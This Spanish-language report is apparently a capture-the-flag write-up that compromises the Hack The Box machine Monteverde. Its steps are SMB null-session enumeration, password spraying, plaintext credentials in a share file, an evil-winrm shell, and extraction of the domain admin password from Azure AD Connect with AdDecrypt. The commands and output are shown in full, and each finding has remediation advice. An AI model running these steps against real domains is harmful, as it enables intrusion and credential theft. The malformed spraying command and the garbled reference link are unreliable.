

INFORME DE PRUEBAS DE PENETRACIÓN

Máquina: Monteverde

Plataforma: Hack The Box

Dificultad: Media

Fecha: Febrero 2026

Versión: 1.0

1. Resumen Ejecutivo

Se efectuó una prueba de penetración completa sobre la máquina Monteverde de la plataforma Hack The Box, perteneciente al dominio MEGABANK.LOCAL. El objetivo fue identificar y explotar vulnerabilidades que permitieran comprometer el sistema desde acceso externo sin credenciales previas hasta obtener privilegios de administrador de dominio.

Se identificaron y explotaron exitosamente las siguientes vulnerabilidades críticas:

- Enumeración de usuarios de dominio mediante null session SMB y herramientas de enumeración RID.
- Password spraying exitoso: la cuenta SABatchJobs utilizaba su propio nombre de usuario como contraseña.
- Credenciales en texto plano en el archivo azure.xml accesible a través del share users\$ (usuario mhope).
- Azure AD Connect mal configurado, permitiendo extraer credenciales cifradas y descifrarlas con AdDecrypt.exe.

Como resultado, se obtuvo acceso completo al sistema con privilegios de Administrador de dominio, comprometiendo tanto la flag de usuario como la flag de administrador.

1.1 Resumen de Hallazgos

#	Vulnerabilidad	Severidad	Vector
01	Enumeración SMB nula (null session)	Media	Red / Sin auth
02	Password Spraying - credenciales débiles (SABatchJobs)	Alta	Red / Sin auth
03	Credenciales expuestas en archivo azure.xml (SMB)	Crítica	Red / Auth usuario
04	Azure AD Connect - Extracción de credenciales (AdDecrypt)	Crítica	Local / Auth usuario

2. Información del Alcance

Objetivo	Monteverde (Hack The Box)
IP del objetivo	10.129.228.111
Sistema operativo	Windows Server 2019 Build 17763 x64
Dominio	MEGABANK.LOCAL
Host	MONTEVERDE
Servicios expuestos	DNS (53), Kerberos (88), RPC (135), NetBIOS (139), LDAP (389/3268), SMB (445), WinRM (5985), MSMQ (9389)
Tipo de prueba	Caja negra (Black Box)
Fecha	Febrero 2026
Credenciales iniciales	Ninguna

3. Metodología

La auditoría se realizó siguiendo la metodología estándar de pentesting basada en las fases del framework PTES (Penetration Testing Execution Standard):

- Reconocimiento: Escaneo de puertos y servicios con Nmap para identificar la superficie de ataque.
- Enumeración: Descubrimiento de usuarios de dominio mediante null session SMB, enum4linux y kerbrute.
- Explotación: Password spraying sobre cuentas enumeradas. Acceso a shares SMB y extracción de credenciales.
- Post-explotación: Acceso WinRM, volcado de información de dominio con ldapdomaindump.
- Escalada de privilegios: Explotación de Azure AD Connect mediante AdDecrypt para obtener credenciales de administrador.
- Documentación: Registro de evidencias y elaboración del presente informe.

4. Hallazgos Detallados

HALL-01: Enumeración de usuarios vía Null Session SMB

Severidad	Media
Afecta a	SMB 445 — MONTEVERDE
Autenticación requerida	No

Descripción

El servidor SMB acepta conexiones anónimas (null session), lo que permitió enumerar usuarios de dominio sin credenciales previas. Mediante enum4linux y kerbrute se identificaron los usuarios válidos del dominio MEGABANK.LOCAL.

Pasos de reproducción

- `$ enum4linux -a -u "" -p "" 10.129.228.111`

```
(kali@kali)-[~/Desktop/HTB/monteverde]
$ enum4linux -a -u "" -p "" 10.129.228.111
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Feb 24 17:54:28 2026

( Target Information )
Target ..... 10.129.228.111  EU Machines VIP+ 1
RID Range ..... 500-550,1000-1050
Username ..... 
Password ..... 
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

Success
[IP is linked to clipboard success]
```

```
( Users on 10.129.228.111 )
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with
installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)

user:[Guest] rid:[0x1f5]
```

- `$ kerbrute -domain MEGABANK.LOCAL -users user.txt -dc-ip 10.129.228.111`

```
(kali@kali)-[~/Desktop/HTB/monteverde]
$ kerbrute -domain MEGABANK.LOCAL -users user.txt -dc-ip 10.129.228.111
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Valid user => AAD_987d7f2f57d2
[*] Valid user => dgalanos
[*] Blocked/Disabled user => Guest
[*] Valid user => mhope
[*] Valid user => roleary
[*] Valid user => SABatchJobs
[*] Valid user => smorgan
[*] Valid user => svc-ata
[*] Valid user => svc-bexec
[*] Valid user => svc-netapp
[*] No passwords were discovered :(
```

Impacto

Permite a un atacante externo obtener una lista completa de usuarios del dominio, facilitando ataques posteriores como password spraying o AS-REP roasting.

Recomendación

Deshabilitar la autenticación anónima en SMB. Configurar RestrictAnonymous = 2 en la política de grupo. Implementar firewall para restringir el acceso al puerto 445 desde redes no confiables.

HALL-02: Credenciales débiles — Password Spraying (SABatchJobs)

Severidad	Alta
Afecta a	SMB 445 / WinRM 5985 — MONTEVERDE
Autenticación requerida	No

Descripción

Mediante la técnica de password spraying (usuario = contraseña) sobre la lista de usuarios enumerados, se identificó que la cuenta SABatchJobs utiliza su propio nombre de usuario como contraseña. Esta es una práctica insegura que facilita el compromiso de cuentas.

Pasos de reproducción

```
(kali@kali) [~/Desktop/HTB/monterverde] --continue-on-success
[*] nxc smb 10.129.228.111 --user.txt --user.txt
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:dgalanos STATUS_LOGON_FAILURE

SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:roleary STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:smorgan STATUS_LOGON_FAILURE
```

- Con estas credenciales se pudieron enumerar los shares del dominio y acceder al share users\$:

```
(kali@kali) [~/Desktop/HTB/monteverde]
$ nxc smb 10.129.228.111 -u SAbatchJobs -p SAbatchJobs --shares
SMB 10.129.228.111 445 MONTEVERDE [+] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing=True)
SMBv1:(None) (Null Auth:True)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SAbatchJobs:SAbatchJobs
SMB 10.129.228.111 445 MONTEVERDE [+] Enumerated shares
SMB 10.129.228.111 445 MONTEVERDE Share Permissions Remark
SMB 10.129.228.111 445 MONTEVERDE ADMIN$ Remote Admin
SMB 10.129.228.111 445 MONTEVERDE azure_uploads READ
SMB 10.129.228.111 445 MONTEVERDE C$ Default share
SMB 10.129.228.111 445 MONTEVERDE E$ Default share
SMB 10.129.228.111 445 MONTEVERDE IPC$ Remote IPC
SMB 10.129.228.111 445 MONTEVERDE NETLOGON READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE SYSVOL READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE users$
```

Impacto

Compromiso de una cuenta de servicio con acceso a información del dominio. Punto de entrada para escalada lateral.

Recomendación

Implementar política de contraseñas robusta que impida el uso del nombre de usuario como contraseña. Habilitar autenticación multifactor (MFA) para cuentas de servicio. Implementar detección de password spraying (bloqueo tras N intentos fallidos).

HALL-03: Credenciales expuestas en archivo azure.xml (SMB share)

Severidad	Crítica
Afecta a	SMB share users\$ — archivo mhope/azure.xml
Autenticación requerida	Sí (SABatchJobs)

Descripción

Navegando con el usuario SABatchJobs mediante impacket-smbclient, se encontró el directorio del usuario mhope que contenía un archivo azure.xml. Este archivo, correspondiente a un objeto PSADPasswordCredential de Azure, almacenaba una contraseña en texto plano en el campo Password.

Pasos de reproducción

```
(kali@kali)-[~/Desktop/HTB/monteverde]
$ impacket-smbclient MEGABANK.LOCAL/SABatchJobs@10.129.228.111
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
Type help for list of commands
#
# cd mhope
# ls
drw-rw-rw- 0 Fri Jan 3 08:41:18 2020 .
drw-rw-rw- 0 Fri Jan 3 08:41:18 2020 ..
-rw-rw-rw- 1212 Fri Jan 3 09:59:24 2020 azure.xml
# get azure.xml
# exit
```

- Contenido relevante del archivo azure.xml:

```
(kali@kali)-[~/Desktop/HTB/monteverde]
$ cat azure.xml
<<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">[REDACTED]</S>
    </Props>
  </Obj>
</Objs>
```

- Conexión con evil-winrm y captura de flag del user

```
(kali@kali)-[~/Desktop/HTB/monteverde]
$ evil-winrm -i 10.129.228.111 -u mhope -p [REDACTED]

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> 10.129.228.111
*Evil-WinRM* PS C:\Users\mhope\Documents>
```

```
*Evil-WinRM* PS C:\Users\mhope> cd Desktop
*Evil-WinRM* PS C:\Users\mhope\Desktop> ls

Directory: C:\Users\mhope\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----       2/24/2026   2:31 PM             34 user.txt

*Evil-WinRM* PS C:\Users\mhope\Desktop> cat user.txt
[REDACTED]
*Evil-WinRM* PS C:\Users\mhope\Desktop>
```

Impacto

Compromiso completo de la cuenta mhope con acceso WinRM al sistema. Permite ejecución remota de comandos y acceso a recursos del sistema como usuario autenticado.

Recomendación

Nunca almacenar credenciales en texto plano en archivos accesibles a través de shares de red. Usar gestores de contraseñas o Azure Key Vault. Aplicar principio de mínimo privilegio sobre los shares SMB. Revisar y auditar periódicamente los archivos almacenados en shares corporativos.

HALL-04: Azure AD Connect — Extracción de credenciales de administrador

Severidad	Crítica
Afecta a	C:\Program Files\Microsoft Azure AD Sync
Autenticación requerida	Sí (mhope / WinRM)

Descripción

El sistema tenía instalado Microsoft Azure AD Connect, una herramienta que sincroniza identidades entre Active Directory on-premises y Azure AD. Esta herramienta almacena credenciales cifradas en una base de datos SQL local. Mediante la herramienta AdDecrypt (basada en adconnectdump de fox-it), es posible conectarse a la base de datos, recuperar las credenciales cifradas y descifrarlas, obteniendo las credenciales del administrador del dominio.

Pasos de reproducción

- Descargar AdDecrypt.zip desde GitHub (github.com/fox-it/adconnectdump).
- Subir AdDecrypt.exe y mcrypt.dll a la máquina víctima mediante evil-winrm:

```
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync>
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync> upload AdDecrypt.exe
Info: Uploading /home/kali/Desktop/HTB/monteverde/AdDecrypt.exe to C:\Program Files\Microsoft Azure AD Sync\AdDecrypt.exe
Data: 19796 bytes of 19796 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync> upload mcrypt.dll
Info: Uploading /home/kali/Desktop/HTB/monteverde/mcrypt.dll to C:\Program Files\Microsoft Azure AD Sync\mcrypt.dll
Data: 445664 bytes of 445664 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync>
```

- Navegar al directorio Bin de Azure AD Sync y ejecutar:
 └─\$ cd 'C:\Program Files\Microsoft Azure AD Sync\Bin'
 └─\$ C:\Users\mhope\Desktop\AdDecrypt.exe -FullSQL

```
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync> cd Bin
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:\Users\mhope\Desktop\AdDecrypt.exe -FullSQL

=====
AZURE AD SYNC CREDENTIAL DECRYPTION TOOL
Based on original code from: https://github.com/fox-it/adconnectdump
=====

Opening database connection...
Executing SQL commands...
Closing database connection...
Decrypting XML...
Parsing XML...
Finished!
```

- AdDecrypt se conecta a la base de datos SQL local, ejecuta los comandos necesarios, descifra el XML y extrae credenciales almacenadas:


```
DECRYPTED CREDENTIALS:
Username: administrator
Password: [REDACTED]
Domain: MEGABANK.LOCAL
```

```
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin>
```

- Acceso como administrador con evil-winrm y obtención de flag

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----         2/25/2026   2:53 PM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

Impacto

El atacante obtiene acceso con privilegios elevados en el dominio MEGABANK.LOCAL.

Recomendación

- Instalar Azure AD Connect solo en servidores dedicados y con acceso estrictamente controlado.
- Aplicar las últimas actualizaciones de seguridad de Azure AD Connect.
- Restringir el acceso WinRM solo a administradores y desde IPs autorizadas.
- Monitorizar accesos y ejecuciones en el servidor de Azure AD Connect.
- Implementar Privileged Identity Management (PIM) para el acceso administrativo.

5. Cronología del Ataque

Fase	Acción	Resultado
Reconocimiento	Nmap scan	Puertos abiertos: 53, 88, 135, 139, 389, 445, 3268, 5985, 9389. Dominio MEGABANK.LOCAL, host MONTEVERDE
Enumeración SMB	nxc smb null session	Shares accesibles: users\$, SYSVOL, NETLOGON (READ)
Enumeración usuarios	enum4linux + kerbrute	Usuarios válidos: AAD_987d7f2f57d2, dgalanos, mhope, roleary, SABatchJobs, smorgan, svc-ata, svc-bexec, svc-netapp
Password spraying	nxc smb user:user	Credenciales válidas: SABatchJobs / *****
Explotación	Acceso SMB + lectura azure.xml	Credenciales mhope / ***** en mhope/azure.xml
Acceso inicial	evil-winrm como mhope	Shell WinRM. Flag user.txt capturada
Post-explotación	Idapdomaindump	Volcado de información de dominio (grupos, usuarios, equipos)
Escalada de priv.	AdDecrypt.exe -FullSQL (Azure AD Connect) evil-winrm como administrator	Credenciales administrator / ***** descifradas Acceso con privilegios administrativos y captura de Flag

6. Conclusiones y Recomendaciones Generales

La máquina Monteverde muestra cómo una gestión de credenciales y configuración incorrecta pueden encadenarse para comprometer un dominio de Active Directory. Las principales problemáticas identificadas son:

- Ausencia de controles sobre autenticación anónima SMB, permitiendo enumeración sin credenciales.
- Política de contraseñas insuficiente que permite contraseñas triviales (usuario = contraseña).
- Mala gestión de secretos y credenciales: almacenamiento de contraseñas en texto plano en ficheros accesibles por red.
- Azure AD Connect instalado en un servidor accesible sin las debidas medidas de hardening, permitiendo la extracción de credenciales de administrador de dominio.

Se recomienda abordar los hallazgos en el siguiente orden de prioridad:

Prioridad	Hallazgo	Plazo sugerido	Acción
CRÍTICA	Azure AD Connect sin hardening (HALL-04)	Inmediato (< 24h)	Aplicar mitigaciones de seguridad en Azure AD Connect
CRÍTICA	Credenciales en azure.xml (HALL-03)	Inmediato (< 24h)	Eliminar archivos con credenciales. Rotar todas las contraseñas
ALTA	Password spraying exitoso (HALL-02)	Urgente (< 1 semana)	Política de contraseñas robusta, MFA, bloqueo de cuentas
MEDIA	Null session SMB (HALL-01)	Corto plazo (< 1 mes)	Deshabilitar autenticación anónima en SMB

7. Referencias

- OWASP — Guía de pruebas de seguridad:
<https://owasp.org/www-project-web-security-testing-guide/>
- Azure AD Connect Security:
<https://learn.microsoft.com/en-us/azure/active-directory/hybrid/fox-it/adconnectdump>
- fox-it/adconnectdump — GitHub: <https://github.com/fox-it/adconnectdump>
- HackTheBox — Máquina Monteverde:
<https://app.hackthebox.com/machines/Monteverde>
- PTES — Penetration Testing Execution Standard: <http://www.pentest-standard.org/>
- Microsoft — Azure AD Connect hardening guide:
<https://docs.microsoft.com/en-us/azure/active-directory/hybrid/>